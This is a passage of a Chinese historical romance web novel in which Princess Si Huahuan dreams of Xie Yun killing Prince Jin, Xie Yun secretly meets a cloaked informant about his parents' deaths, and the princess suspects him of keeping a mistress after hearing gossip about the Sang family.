“什么?!”晋王脸上的笑容瞬间僵住,不可置信道,“不可能!我是他皇叔!是皇室宗亲!他怎能……他怎敢下这样的旨意!” 随即,他了然地笑起来:“谢昀,你以为杀了我,你做的那些事就没人知道了吗?你以为你就能心安理得地活着吗?就算我死了,康乐也不会原谅你!” “我不需要谁的原谅。”谢昀声音忽然变得异常平静,“我只要你们,所有伤害过她,利用过她的人,都付出代价。” 他不再给晋王任何说话的机会,抽出腰间的长剑,直刺晋王心口。 “噗嗤——” 利刃穿透血肉的声音,在寂静的宅院中显得格外清晰。 晋王瞪大了眼睛,低头看着没入自己胸腔的剑刃,张了张嘴,似乎还想说什么,却只有一股股鲜血从口中涌出。 谢昀面无表情地抽出长剑,晋王的身体晃了晃,重重倒下。 谢昀站在原地,手持滴血的长剑,看着地上逐渐失去生机的尸体。 他脸上没有任何手刃仇敌的快意,反而像是有什么支撑了他许久的东西,随着这一剑的落下,轰然倒塌。 他脸上的杀意褪去,只剩下无边无际的茫然和疲惫。 他闭上了眼睛,高大的身躯不受控制地摇晃了一下,然后直挺挺地向前倒去。 “侯爷!”一直守在门外的杜风立刻冲了进来,慌忙扶住他。 而一直在门外目睹着全程的姒华欢,早已呆若木鸡。 巨大的冲击,让她头晕目眩。 下一刻,她倏地从梦境中脱离了出来。 姒华欢急促喘息着,心脏狂跳不止。她睁开眼,映入眼帘的是熟悉的寝室,空气中还残留着昨夜事后的靡靡之香。 她微微动了动身子,立刻感受到周身酸软,大腿内侧还有些微刺痛,想来是纵情时难免的磨蹭所致。尽管她模糊记得谢昀似乎极其小心不碰到她的伤口,但那般折腾终究还是拉扯到了。 她挪动了一下腿,便感觉伤口传来一阵清凉,应当是趁她昏睡时,他已经为她仔细上过药了。 若是往常会忆起昨夜那些脸红心跳的画面,她定然要面红耳赤,臊地将自己埋进被子里,可此刻她却全然没有那份旖旎心思。 脑中充斥的,全是刚刚那个短暂,却冲击力巨大的梦境。 为什么会梦到晋皇叔?谢昀为什么要去杀他?是为了给她报仇吗? 晋皇叔说的“背叛”和“是你亲手杀了她”,又是什么意思? 她的死到底和谢昀有没有关系? 一连串的疑问充斥着她的心头,让她眉头紧锁,心绪难平。 她总觉得这个梦揭示的,是关于她的死至关重要的真相。 正当她苦思冥想,不得其解时,一个温热的吻落在了她的后肩胛骨上,随即颈窝处传来一阵温热的气息。 谢昀将脸埋在她颈间,深深吸了口气,“醒了?” 若是平时被他这般亲昵地贴着,姒华欢少不得要嗔怪几句,或者将他推开。 可她此刻满脑子都是疑问,根本没心思与他打情骂俏,只是被他喷在颈侧的鼻息弄得有些痒,瑟缩了一下,并未回应。 她异常沉默的反应引起了谢昀的注意,他半撑起身子,侧过身来低头看她。 见她眉头紧锁,表情凝重,甚至不愿与他对视,刚才的慵懒惬意收敛了些许。 “怎么了?可是身子哪里不舒服?”看着她依旧没什么表情的侧脸,谢昀声音放得更柔,带着点小心翼翼,“……生气了?” 见姒华欢还是不说话,谢昀心里有些没底了,他低头讨好般地去亲她的唇角,开始自我检讨:“是我错了,可是桌子把后背硌疼了?” 他努力回想细节,虽然后来在桌上垫了他的外袍,但终究是硬物。 姒华欢依旧沉默,沉浸在自己的思绪里。 谢昀见她没反应,继续自言自语检讨,语气愈发诚恳:“是我不好,你说不喜欢那个姿势,我们下次不用了便是。” 这话终于钻进了姒华欢的耳朵里,她一下回过神,瞪向那个满嘴胡言乱语的家伙。 见她终于肯理自己,谢昀仿佛受到了鼓励,接着“深刻反省”:“好了好了,别气了,以后你让我停,我一定停……” 停停停! 姒华欢终于忍无可忍,伸出手捂住了他那张越说越不像话的嘴,耳尖红透了,“青天白日的,你胡说什么呢?也不害臊!” 掌心传来他嘴唇柔软的触感,谢昀非但没躲开,反而就着她的手,轻轻在她掌心亲了一下,痒得姒华欢立刻缩回了手。 看她终于恢复了些许活力的嗔怒模样,谢昀眉眼弯起,凑近一些,问她:“要不要起来用早膳?” 姒华欢看了一眼窗外明晃晃的日头,没好气地瞪他一眼:“这都什么时辰了?你管这叫早膳?” “早午膳。”谢昀从善如流地改口,伸手想扶她起来。 姒华欢却赖着不动,浑身软绵绵的,使不上一点力气。 想到这全是拜谢昀所赐,她忍不住抬脚,踢了他一下:“你是不是疯了?” 作夜那般不知节制,她都昏睡过去了,还不停。 疯吗? 面对自己心爱之人,那般诱人情态,他若是还能忍住,那才是真的疯了。 谢昀摸了摸鼻子,明智地没有把这话说出口,只是好脾气道:“那我端过来喂你。” 姒华欢实在是不想动弹,身上酸软得厉害,便“哼”了一声,算是勉强同意了。 谢昀极为耐心周到,亲自将小几搬到床榻边,又命人将一直温着的膳食一一摆上,然后坐在床沿,当真拿起碗勺要喂她吃。 姒华欢起初还有些别扭,但看他动作自然,眼神专注,仿佛做这件事天经地义一般。加之她确实浑身乏力,便由着他去了。 他先是试了试温度,然后才一小口一小口地喂到姒华欢嘴边,动作轻柔细致。 她一边吃着,一边又开始想昨夜的梦。 正思衬着,她眼角余光瞥见杜风在外厅探头探脑,神色紧张,正疯狂给他家侯爷使着眼色。 谢昀自然也注意到了。 他不动声色地喂姒华欢喝完最后一口燕窝,拿帕子替她擦了擦嘴角,柔声道:“你先躺着歇会儿,我出去一下,很快便回。” 姒华欢也确实需要独处整理思绪,便闭上眼睛,轻轻“嗯”了一声。 走到外厅,杜风立刻迎了上来,神色凝重,从衣袖中取出一个样式普通的信封递给谢昀。 “侯爷,今早府中护卫巡逻时,发现有一支箭将这个钉在了主院外的廊柱上。” 能突破侯府守卫潜入,谢昀眉头瞬间锁紧,接过信封。 只见信封上写着“明安侯亲启”五个字,字迹普通,并无特殊之处。 信封的右上角忽然破了一个洞,正是被箭矢穿透的痕迹。 谢昀迅速拆开信封,取出了里面唯一的一张信纸。 信纸上的字迹与信封上如出一辙,上面写着—— “欲知骠骑大将军被何人所害,明日子时,至万年县城隍庙,孤身前来。” 谢昀瞳孔骤缩,捏着信纸的手用力收紧。 父母的死早有定论,乃是被敌军精锐伏击,力战而亡。 可现在,这封来历不明的匿名信,竟然声称父亲是被害的?写信之人似乎知道内情? 是谁?是谁用这种方式传递消息?目的何在? 是陷阱?还是真的掌握了什么秘密? 为何又选在万年县相见? 杜风显然也看到了信中内容,紧张道:“侯爷,我们……” 谢昀深吸一口气,将信纸仔细折好,“准备一下,明日出发,去万年县。” 第72章 你这个“按按”正经吗?…… 谢昀让杜风将那封信仔细收好, 面上所有的波澜都已平复,仿佛只是出去处理了一件微不足道的寻常公务。 他推门回到里屋,姒华欢依旧侧躺在床榻上, 面朝里, 裹着锦被,只露出一个乌黑的发顶。 她闭着眼并未睡着, 听到谢昀回来的脚步声, 长长的睫毛颤动了一下, 却没有立刻睁开, 只是问道:“怎么了?杜风有何事找你?” 谢昀走到床边坐下,自然的将她脸颊边一缕散落的青丝别到耳后,指尖不经意擦过她的耳廓, 带来一阵微痒。 他语气轻松,听不出任何异样:“没什么要紧事, 不过是些府中庶务, 已经处理好了。” 他绝口不提那封来历不明的信, 这与她无关,不该扰她忧思。 见她眉宇间依旧笼着淡淡的倦色,谢昀心中软成一片,又掺杂着些许愧疚。 昨晚她很主动, 也很配合。尽管知道她是以这样的方式在逃避他的问话,他依旧很是欣喜。 这种事是会上瘾的, 第一次过后就会想要第二次、第三次…… 可她的体力实在是太差了, 根本承受不住几次便满足地昏睡过去,根本不管他了。 谢昀俯下身,温热的呼吸拂过她的额角,问道:“身上还酸疼得厉害?” 姒华欢斜睨他一眼。 自己做了什么, 自己不清楚吗? 他太狡猾了,昨晚她在桌前根本就站不住,都说了换个地方,他嘴上答应的好好的,但过程中还是哄着她站在桌前,她清醒过来才发现自己被他得晕头转向,中计了。 姒华欢没好气地“哼”了一声,带着浓浓的怨念:“大骗子!我以后都不会再被你骗了!” 谢昀闻言轻笑,看着她这副娇慵无力的模样,喉结不自觉滚动了一下。 他压下心头再次蠢蠢欲动的意念,清了清嗓子,提议道:“帮你按按会舒服些。” 姒华欢抬眼看他,心中带着一丝怀疑:“你会?” “试试便知。”谢昀温声道。 “等一下,”姒华欢拦住他要伸到身上的手,“你这个‘按按’正经吗?” 谢昀失笑:“在你眼里,我就是那般急色之人?” 姒华欢一副“不然呢”的样子,瞪大眼睛看他。 “趴好。”谢昀拍拍她。 “那你……不许乱来。”姒华欢犹豫着趴好,将背部面向他。 谢昀上床,挽起袖口,露出线条流畅的小臂,掌心互相搓了搓,待到温热,才轻轻落在了她的后颈和肩膀处。 他的手指修长有力,灵巧耐心,起初只是用指腹不轻不重地按压着穴位附近紧绷的肌肉,力道恰到好处,既缓解了酸胀,又不会让她感到疼痛。 “嗯……” 一种酸胀又舒爽的感觉从被他按压的地方扩散开来,姒华欢忍不住从鼻腔里溢出一声带着满足意味的哼唧。 谢昀的手几不可查地顿了一下,眸色深了几分,但很快强迫自己收敛心神继续,忽略那诱人的声音,将注意力集中在手下。 他沿着她优美的脊柱沟壑,一路向下,用掌根推按着背部的经络。 姒华欢起初还有点僵硬,防备着他乱来,但在他持续舒适的按压下,身体渐渐放松下来,身体像一只被顺毛抚摸的猫,软软地陷在柔软的锦被里。 他的指尖偶尔会不经意划过她腰侧敏感的肌肤,带来一阵细微的战栗。姒华欢咬着下唇,强忍着不发出更多奇怪的声音。 只觉得被他触碰过的地方,像是点燃了一簇簇细小的火苗,微弱地燃烧起来。 谢昀显然察觉到了她身体细微的变化,他的动作愈发缓慢而缠绵。 不再仅仅是单纯的按压,更像是一种带着情色意味的抚摸。直接沿着她腰窝优美的弧线打着圈,时轻时重,带着撩拨的意味。 “这里也酸吗?”谢昀俯身凑到她耳边,声音低沉沙哑,热气毫无保留地灌入她的耳朵。 姒华欢浑身一颤,耳根瞬间红透,将脸深深埋进柔软的枕头里,含糊地应了一声。 得到了回应的谢昀不再满足于被迫的流连,温热的大掌顺着她纤细的腰肢缓缓下滑。 他掌心的温度透过布料,烫得姒华欢轻轻一抖。 谢昀低低地笑了一声,不再询问,不轻不重地揉按着她的大腿后侧。 那里的肌肤格外娇嫩,经过昨夜的疯狂,本就敏感异常,此刻被他带着薄茧的指腹和温热的掌心如此暧昧地按摩着,一股酸麻快感窜遍全身。 “唔……别……”姒华欢终于忍不住发出抗议,声音却软绵绵的,没有丝毫威势力。 “别什么?”谢昀故意手下力道稍稍加重,精准按压在一处有几分酸软的肌肉上,引得她又是一阵抑制不住的轻颤和呜咽,“是这里不舒服?那我轻点……” 他嘴上说着轻点,动作却愈发缠绵悱恻,指尖甚至若有似无的滑上去。 姒华欢只觉得浑身都烧了起来,喝道:“谢昀!” 谢昀停下了动作。 他知道再继续下去,恐怕这按摩就要变味了,而他答应过她,只是按摩。 谢昀将手放回了相对安全的腰上,一边揉按着,一边状似无意地旧事重提:“现在可以告诉我了吗?昨晚到底梦到我什么了?” 姒华欢刚松弛下来的身体瞬间又绷紧了,她闭上眼睛眼,往枕头里埋了埋,声音闷闷地敷衍道:“我都说了不记得了嘛……” 谢昀岂是那么容易被打发的人? 他停下按摩的动作,俯身凑到她耳边,“不说实话?那我可要亲你了,亲到你想起来为止。” 他的唇几乎要贴上她的耳垂,姒华欢被他这无赖行径弄得又烧了起来。 她知道以谢昀的性子,若是打定主意要问,今天怕是难逃魔爪。 与其被他用那种方式“逼供”,还不如随便糊弄一下。 “好啦好啦!”姒华欢微微偏头躲开他灼人的气息,不情愿道:“真的没什么,就是梦到你在弹琴而已,这总行了吧?” “弹琴?”谢昀狐疑地眯起眼睛,撑起身子,看着她闪躲的后脑勺,“只是梦到我弹琴,那有什么可让你哭得那么伤心的?” 若只是寻常梦境,她醒来为何是那般沉重的表情?甚至还破天荒地对他好了起来,怎么看都像是补偿或者安抚。 难道是在梦里,她做了什么对不起他的事?居然还让他这个不善琴的人主动弹琴…… 他瞬间脑补了一出她抛弃他嫁给别人,他喝酒弹琴,浑浑噩噩度日的悲惨画面。 不对……姒华欢要是真梦到这些,应该是笑醒才对。 突然,一个念头闪过脑海。 谢昀缓缓开口问道:“你是不是梦到……我死了?” 姒华欢身体明显一僵,脑海中不受控制地浮现出梦境最后的画面——谢昀杀了晋王后,摇晃着倒下的身影。 在她对谢昀一贯的印象里,他强大、冷静、无坚不摧,根本不可能那般脆弱地倒下,更别说死去。 她不愿想象,也不敢想象那一幕。 不管前因如何,不管有多少误会与痛苦,人活着才是最重要的,活着,才有无限的可能和希望。 她甚至想,如果她有能力进入他的梦境就好了。 她一定要狠狠一巴掌扇醒那个绝望消沉的他,让他振作起来,不要像一具行尸走肉般活下去,甚至自我毁灭。 她的沉默,她身体的僵硬,无疑是最好的答案。 谢昀的心沉了下去。 他竟然猜对了吗?在她那些光怪陆离的梦里,他竟然是以死亡出现的? 是什么样的死亡,让她才那般恐惧,那般悲伤,甚至因此改变了对他的态度? 难道是……因她而死吗? 谢昀一手撑在姒华欢枕边,另一手抬起她的下巴,迫使她与自己对视。 “说实话。”他声音危险,“你若不说清楚到底梦到了什么,今天你就别想下这张床了。” 不是玩笑。姒华欢清楚地感受到了他眼中的认真,和那股不达目的不罢休的执拗。 “真的只是梦到你在弹琴而已……”姒华欢试着说服他,“我哭是因为……因为你弹的太好了,我被感动到了。” “撒谎。”谢昀用自己的额头碰了碰她的。 谢昀认定,姒华欢就是梦到他死了。她只是怕说出来让他害怕,才选择不说。 他心中五味杂陈,有种扭曲的满足。 ***** 翌日下午,天色尚早,姒华欢便坐在妆奁前,由着姚黄和魏紫为她精心梳妆打扮。 她听说今夜西市有盛大灯会,想必十分热闹,便生了兴致,想等谢昀下值回来,一同去逛逛。 “殿下今日心情很好呢。”魏紫一边为她簪上一支赤金步摇,一边抿嘴笑道。 听出她话中的挪揄,姒华欢脸颊微热,嗔了她一眼:“多嘴。”语气却并无多少责怪。 梳妆完毕,她便坐在窗边的软榻上,一边随意翻着本闲书,一边时不时抬眼望向窗外,估算着时辰。 往常这个时候,谢昀也该从大理寺回来了。 然而,书页翻动了好几张,窗外的日头渐渐西斜,由明亮的金黄变为温暖的橘红,再逐渐沉入天际,染红大片云霞。 最后连最后一丝余晖也彻底被暮色吞没,却依旧不见那个熟悉的身影。 姒华欢脸上的期待和笑意也随着天色一点点沉寂下去。 莫非是被事务耽搁了? 姒华欢只能差人去大理寺给谢昀传话,让他早些回来。 等待的时间变得格外漫长,姒华欢坐立难安,书是彻底看不进去了。 看着满天星星渐次亮起,远处似乎隐约传来街市上的喧闹声,更衬得侯府内一片寂静。 终于,派去的内侍气喘吁吁地跑了回来,躬身回禀:“殿下,大理寺的人说……说侯爷今日告了假,并未上值。” 无端告假?并未上值? 姒华欢的心迅速沉了下去—— 作者有话说:[求求你了]报意思,来晚了 第73章 偷养外室 谢昀今日没去大理寺, 那他去哪儿了?为何……为何没有告诉她一声? 若是平时他偶尔因私事外出,她或许并不会过多在意,可此时此刻她心中有一股挥之不去的不安。 “去把陶总管找来。” 很快, 陶总管便快步赶来, 躬身行礼:“公主殿下有何吩咐?” “谢昀呢?”姒华欢直接问道,“他今日去了何处?” 陶总管脸上露出一丝为难, 斟酌着词句回答:“回殿下, 侯爷……说是有些私事, 要出城一趟。” 姒华欢的心跳得更快了, 什么私事需要告假,还要出城? 他上次出城,不过第二日, 她便死于箭下。 难道这件事也会因为她的重生,而提前这么久吗? “什么私事?去了何处?何时回来?”她连声追问。 陶总管也不知谢昀出城去做什么, 他比姒华欢心中更急, 却也无奈道:“这个……侯爷并未明言, 老奴,老奴也不知……” 姒华欢看着陶总管低垂的头,知道若非谢昀特意交代,他确实可能不知道主子所有的行踪。 明明以前谢昀也常常几天不见人影, 她也从未像此刻这般心烦意乱过。甚至很多时候他不来烦她,她反而觉得清静。 可今天不一样。 昨日两人刚刚那般亲密无间, 他甚至还温柔体贴的喂她用膳。转眼却一声不吭地告假出城, 连去向都不明,这太反常了。 忽然,她想到了昨天杜风那鬼鬼祟祟的样子。 虽然不知道他们两个密谋了什么,但直觉告诉她, 谢昀今天的离开,定然与那件事有关。 到底是什么事?还需要瞒着她去做的? **** 夜色如墨,万籁俱寂。谢昀一路疾驰,赶在子时前抵达了万年县郊外的荒山。 “侯爷,”杜风紧跟其后,脸上写满了担忧,“让属下跟您一起上去吧,万一有诈……” “不必。你在此处等我,若是半个时辰后,我尚未下山,你便立刻快马加鞭赶回京城。” 杜风急道:“侯爷!” 这安排,分明是做了最坏的打算。 谢昀却只是挥了挥手,示意他无需多言。随即转身,将手中缰绳扔给杜风,自己则沿着那条被荒草半掩的山路,一步步向山顶那座废弃的城隍庙走去。 山路崎岖,夜风穿过林隙,发出呜咽般的声响。 谢昀步履沉稳,眼观六路,耳听八方,全身戒备,手始终按在腰间的剑柄上。 这座荒山并不高,很快谢昀便走到了破败的城隍庙。 谢昀推开那扇吱呀作响的木门,月光随之倾泻而入,勉强照亮空旷的主殿。 大殿中央,神像前,背对着门口,站立着一个快要融入黑暗的身影。 那人穿着一件宽大的黑色斗篷,将全身罩得严严实实,连身形都难以分辨。 听到推门声,那身影缓缓转了过来,大大的兜帽将他的面容完全隐藏在阴影之下,只能借着微弱的月光看到一点下颌。 “明安侯。” 那神秘人开口了,声音是刻意压低的中年男声。 谢昀站在原地,并未靠近,目光如鹰隼般锁定了他。 他没有回应,只是静静等待着对方的下文。 沉默,本身就是一种无形的压力。 神秘人似乎也并不期待他的寒暄,兜帽微动,仿佛是在打量他,说道:“侯爷少年英才,执掌大理寺,洞察秋毫。只是……” “侯爷难道从来没有好奇过,令尊骠骑大将军和令堂云徽将军,他们的死……当真如朝廷邸报所言,那般简单吗?” 他刻意顿了顿,似乎在观察谢昀的反应,然后才缓缓继续:“骠骑大将军武功高强,云麾将军智谋超群。彼时他们率领的,乃是我大越十万精锐边军。纵使敌军有埋伏,何至于连主帅都双双战死沙场?这……合乎常理吗?” 旧事重提,揭开了谢昀心底最深处的伤疤。 谢昀感觉自己的呼吸都停滞了一瞬。 父亲母亲的死早有定论。北漠的凶狠阴毒人人皆知,当年若非他父亲母亲力战而死,便是连剩下的两万大军都保不下来。 “你到底想说什么?”谢昀声音冷了下来。 神秘人发出一声极轻的嗤笑:“侯爷是聪明人,何必装糊涂?‘飞鸟尽,良弓藏。狡兔死,走狗烹’。这个道理,侯爷应该明白吧?” 谢昀握着剑柄的手收紧,“你的意思是,是陛下,忌惮我父亲母亲功高震主,设计害死了他们?” “怎么?侯爷不信?觉得陛下是明君,绝不会行此等鸟尽弓藏之事?” 不等谢昀回答,他话锋一转:“漠北之战前夕,骠骑大将军曾收到一封来自兵部的加急文书,催促他按原定路线急速行军,不得有误。声称已安排接应,可实际上那条路线根本没有任何援军!” “此事除了陛下,时任兵部尚书以及极少数之人,外人绝无可能知晓。侯爷若不信,大可回想,兵部后来的战报卷宗里,可曾提及过这封文书?可曾解释过为何没有援军?” 谢昀心中一紧,这个细节他确实不知,当年所有人都没有提到过。 “空口无凭,我凭何信你?” 神秘人似乎早就料到他会这么说,缓缓从宽大的斗篷下伸出只手。 那只手有常年握持兵器的粗糙痕迹,手中握着半块玉佩。 那玉佩质地温润,是上好的羊脂白玉。但此刻却从中断裂,断面参差不齐,显然是被外力毁坏。 玉佩上雕刻着繁复的麒麟,只有一半的兽身。 “侯爷,可还认得此物?” 谢昀的目光死死地钉在那半块玉佩上。 他认得,他怎么会不认得。 这是父亲最珍视的玉佩,从不离身。 此乃陛下在父亲而立之年所赐。陛下曾有言,见此玉佩,如见天子,象征无上的信任与荣宠。 另一半在陛下手中,两块合一,便是完整的麒麟。 父亲战死后,尸骨虽运回京城,但随身物品也大多遗失。他以为这玉佩早已埋骨黄沙,怎么会在这个人手里? “你是谁?你从何处得知这些?这玉佩又是你从何处得来?” 谢昀的声音终于有了一丝难以抑制的颤抖。 神秘人将玉佩收回袖中,语气平淡:“我是谁,从何得知,并不重要。重要的是,在下所言句句属实。重要的是,侯爷想不想知道全部的真相?想不想为骠骑大将军讨回一个公道?” 真相? 谢昀心中冷笑一声。 事情已经过去十几年,此人早不说,晚不说,偏偏在此时,用这种方式将他引来,告诉他这些。 此人的目的,恐怕不只是告知真相那么简单吧。 是想借他之手,行不轨之事?还是想搅乱朝局,浑水摸鱼? “为什么跟我说这些?”他单刀直入,“你想让我做什么?” 神秘人沉默了片刻,半晌才缓缓开口:“或许……时机到了。也或许,是有人不希望侯爷继续被蒙在鼓里,成为别人手中的刀。” 时机到了,什么时机? 是谁不希望他成为别人手中的刀?这个别人,是指陛下还是其他人? 说完,神秘人不再多言,向后一退,从袖中拿出一个东西扔在地上,顿时烟雾四起,身形迅速消失在烟雾中。 谢昀站在原地,没有去追。 此人既然敢来,必有脱身之策。 况且,此人还未说出他的真正目的,定然还会再来找他。 今晚听到的这一切,无论真假,都在他的心里掀起滔天巨浪。 他不能尽信,却也无法忽视。 父亲,母亲…… 难道他们辉煌的一生,真的终结于一场肮脏的政治阴谋? 可陛下得知消息时的悲恸,陛下待他的好,都是假的吗? 谢昀闭上眼,深吸了一口气。 ***** 翌日清晨,天光微亮,姒华欢便醒了过来。 一夜浅眠,她睁开眼第一句话就问魏紫:“谢昀回来了吗?” 魏紫小心翼翼端来温水,看着她的脸色道:“回殿下,侯爷尚未回府……” 还没回来。 已经一天一夜了,不会是出什么事了吧? 姒华欢正心乱如麻,姚黄兴冲冲地撩开珠帘跑了进来,“殿下醒了?昨晚京城里可出大事了!” 姒华欢心头一跳,瞬间从床上坐起,“谢昀怎么了?” 姚黄愣了愣,连连摆手:“不是,不是,殿下,不是侯爷的事。” 姒华欢这才意识到自己关心则乱,失了方寸,她清了清嗓子,问道:“什么事?” 姚黄又兴奋起来,眼睛亮晶晶的:“是国子祭酒桑家,他们家出大丑闻了!” “桑家?” 桑家一向以诗礼传家,门风严谨著称,能出什么丑闻? “对呀!”姚黄迫不及待地分享刚听来的新鲜传闻,“殿下,你还记得几年前,桑家次子桑进,被曝出偷养外室,桑夫人盛怒之下,觉得他德行有亏,下令打断了他一双腿的事吗?” 姒华欢点了点头,这事她听叶殊宜提起过。 只见姚黄神秘兮兮地继续说道:“原来当年偷养外室的那件事,根本不是次子桑进做的,而是那个,一向被誉为谦谦君子的长子——桑临!” “什么?”这下连一旁沉稳的魏紫都惊得捂住了嘴。 “之前那个外室柳氏,其实是被送到了乡下看管起来了。不知从何处知晓了桑临竟然在京城偷偷从青楼赎了个姑娘,金屋藏娇,又养起了外室。” “那柳氏也是个烈性子,心中气不过,竟偷偷从乡下跑了出来,一路寻到了京城,直接寻到了那外室所居的宅院!就在昨晚,深更半夜,她直接闯了进去,正好将桑临和那青楼女子捉奸在床!” 姚黄说得眉飞色舞:“那柳氏当场就闹起来,哭喊叫骂,动静大得把左邻右舍全都惊动了。桑家眼见事情要闹大,赶紧派了家丁护院过来拿人,想把她强行带回去。” “那柳氏见势不妙,一路跑到了京兆府门前,抱着登闻鼓就大哭起来,口口声声喊着‘冤枉’、‘桑家欺人太甚’。啧啧啧,这下可是彻底捅破天了,如今,怕是整个京城都传遍了!” 魏紫听得目瞪口呆:“我的天,那这么说,当年桑家二公子桑进,竟是替他那好兄长背了黑锅!” 桑家这桩丑闻确实足够震撼。 一向以清流典范自居的桑家,内里竟是如此不堪。 长子行此苟且之事,却让次子顶罪受罚,将他一双腿都给打断,生生断送了前程,真是太可怜了。 然而姒华欢听着这一切游神天外,姚黄和魏紫后面的感慨,她一个字都没听进去。 她的脑海里反复回荡着几个字——外室,养外室…… 男人是不是都这样?表面一套,背后一套? 桑临平日里不也是道貌岸然,被誉为君子吗?结果呢,还不是偷偷摸摸养着别的女人? 那……谢昀呢? 他昨夜一夜未归,说是出城处理私事,不会也…… 一想到这种可能性,姒华欢就觉得心口像是被什么东西堵住了,闷得发慌,连呼吸都变得不畅。 第74章 “你吃醋了,是不是?”…… “殿下怎么了?可是身体哪里不适?”魏紫最先注意到姒华欢的异常, 担忧地问道。 姒华欢猛然回神:“没什么,去传早膳吧。” 她放下玉梳,站起身, 走到窗边, 望着院内种着的一大片牡丹花圃。 晨光中,层层叠叠的花瓣娇艳欲滴, 可她此刻却无心欣赏。 她必须弄清楚, 谢昀昨晚到底去了哪里, 做了什么。 否则, 这根刺会一直扎在她心里,让她不得安宁。 而此刻,谢昀正风尘仆仆地赶回京。 夜间城门已关, 谢昀只好和杜风在就近的驿馆暂住一晚,待到天光亮起, 便急忙赶回京。 他并未直接回府, 而是先去安排人手暗中调查神秘人提供的线索。 当他终于踏进明安侯府大门时, 已是日上三竿。 他满心疲惫,只想尽快见到姒华欢,哪怕只是看着她,也能稍稍抚平他的心。 可他刚踏入主院, 便感觉到一股不同寻常的低气压。 姒华欢正坐在院中的石凳上,见他进门, 倏地站起身, 目光在他身上扫过一圈,又坐下了。 她声音平淡,听不出任何情绪:“回来了?这一夜,‘私事’处理得可还顺利?” 谢昀心头一跳。 她昨夜竟然找他了? 若是平时, 他或许会因为姒华欢主动找他而心生欢喜。但此刻,他满腹心事,那神秘人的出现扰乱了他的思绪,让他无法如常轻松应对,甚至无法给出一个合理的解释。 他不能说实话。那神秘人身份不明,意图难测,牵扯到陛下和朝堂,背后不知隐藏何等阴谋。 在一切水落石出之前,他绝不能将她卷入未知的危险之中。 谢昀压下心中的乱绪,走上前,刻意放松道:“嗯,一些琐事,有些棘手。怎么?担心我?” “担心?”姒华欢唇角勾起一抹似笑非笑的弧度,“侯爷言重了,你武功高强,智谋过人,处理些‘私事’何须我担心?不知是什么样的‘琐事’,让侯爷忙活到彻夜不归?” “是……我父亲一个旧部的遗孤安置,情况比较复杂,需要我亲自去处理。地方偏远,来回不便,故而耽搁了。” 这个理由半真半假,他确实会暗中关照一些父亲母亲阵亡旧部的家眷。以此为借口,倒也说得过去。 这话落在姒华欢耳中,却无异于欲盖弥彰。 旧部遗孤?什么样的遗孤安置,需要他这般鬼鬼祟祟。 她一个字都不信! 看她的表情便知她不信,谢昀揉了揉眉心,耐着性子解释:“气我没有提前告诉你?事发突然,我只带了杜风,一时找不到可靠的人送信。是我考虑不周,下次一定注意。” “下次?”姒华欢瞪他,“还有下次?” 她心中的火“噌”一下就冒上来了,却话锋一转,提起了另一件事:“侯爷刚回京,想必还不知道吧?昨夜京城里可是出了件热闹事。” 谢昀被她这跳跃的话题弄得一怔,顺着她的话问道:“何事?” 他确实还没来得及关注京中动向。 姒华欢看着他茫然的表情,心中冷笑,面上却故作平静地讲述起来:“是国子祭酒桑家。原来当年那个偷养外室的,不是次子桑进,而是长子桑临。” “那桑临死性不改,又养了青楼女子做外室,被曾经的外室柳氏得知,昨夜直接捉奸在床,闹得人尽皆知。” “真是知人知面不知心,谁能想到桑家长子竟是这般德行。” 说完,她便静静地看着谢昀。 起初谢昀听得有些心不在焉,还在琢磨如何哄她。但听完,他先是有些意外姒华欢何时开始对这些家长里短的风流韵事如此上心,还特意讲给他听。 随即,他忽然回过味来。 桑家……外室……捉奸在床……再结合她那阴阳怪气的态度…… 她这哪里是在说桑家,她这分明是在点他呢! 她在怀疑他昨夜未归,是像桑临一样,在外面偷养了女人? 想通了这一点,谢昀一时间竟不知该气还是该笑。 他满心沉重地奔波一夜,调查“血海深仇”,回来却要被自己的妻子怀疑去偷人了? 谢昀看着姒华欢那故作镇定,实则眼角眉梢都带着一丝委屈和怒意的侧脸,心头那点因被误解而生的郁闷全然消散,反而涌起一股欢喜。 她这般拐弯抹角,醋意横生的模样,是因为在乎他吗? 她在乎,她非常在乎。 他忽然低低地笑了起来。 姒华欢被他笑得莫名其妙,更是恼火,“你笑什么?” 谢昀不答,上前一步,不由分说伸出双手,捧住了她气鼓鼓的脸颊,低头,在她因为惊讶而微张的唇上飞快低亲了一下。 “唔!”姒华欢猝不及防,被他亲了个正着。 还没等她反应过来斥责他,谢昀故意用自己冒出些许青色胡茬的下巴,去蹭她柔嫩的脸颊和脖颈。 那微微刺痛痒痒的触感,让姒华欢忍不住缩着脖子躲闪。 “啊!你干什么!扎死我了!”她捶打着他的胸膛,惊呼道。 谢昀却不管不顾,一边用胡茬轻轻扎着她,一边低笑着,声音里充满了毫不掩饰的得意和愉悦:“让我看看这是谁家的小醋坛子打翻了?嗯?酸味都快飘出府去了。” 他捧着她的脸,迫使她看着自己那双含笑的眸子,一字一句,慢悠悠地问:“你吃醋了,是不是?” 吃醋?她堂堂康乐公主,怎会做出吃醋这种荒唐之举! 况且他们又不是正经夫妻,有什么醋好吃的。 她只是合理提出怀疑! 姒华欢像只被踩了尾巴的猫,瞬间炸毛,用力推开他:“胡说八道!谁吃醋了?少往自己脸上贴金!” “姒华欢,你居然怀疑我昨夜是去偷人了。” 心事被如此直白的戳破,姒华欢的脸颊飘上两团红晕,眼神闪烁:“我,我可没这么说,是你自己要对号入座的!” “你没这么说?”谢昀挑眉,拇指摩挲着她滚烫的脸颊,笑道,“你这小脑袋瓜里想什么,我还不知道?你绕着弯子给我讲桑家的丑事,旁敲侧击,指桑骂槐,不就是这个意思吗?嗯?” 他凑近她,鼻尖几乎要碰到她的鼻尖,温热的气息喷洒在她脸上:“看我一夜未归就胡思乱想,以为我在外面有了别人?” 姒华欢被他看得无处遁形,自己也想不到自己竟会做出这种质问的事,又羞又窘,偏偏嘴上不肯认输,别开脸哼道:“谁胡思乱想了?我不过是……不过是觉得桑家真是荒谬,随口一提罢了。” 谢昀看着她气急败坏,脸颊绯红,却偏要嘴硬的模样,心中欢喜得紧。 他喜欢看她这样,喜欢看她为了他情绪波动,喜欢看她这份口是心非的在意。 这让他觉得自己不是孤身一人,身后还有一个需要他守护的羁绊。 见姒华欢似乎真要恼了,谢昀见好就收,不再逗她,收紧手臂,将她轻轻拥入怀中,下巴轻轻搁在她的发顶,嗅着她发间淡淡的馨香。 “好了,不闹了。相信我,我昨夜所做之事,绝非你想的那般龌龊。我可以对天发誓,绝无对不起你之事。” 姒华欢挣扎了两下,没能挣脱,反而被他抱得更紧。 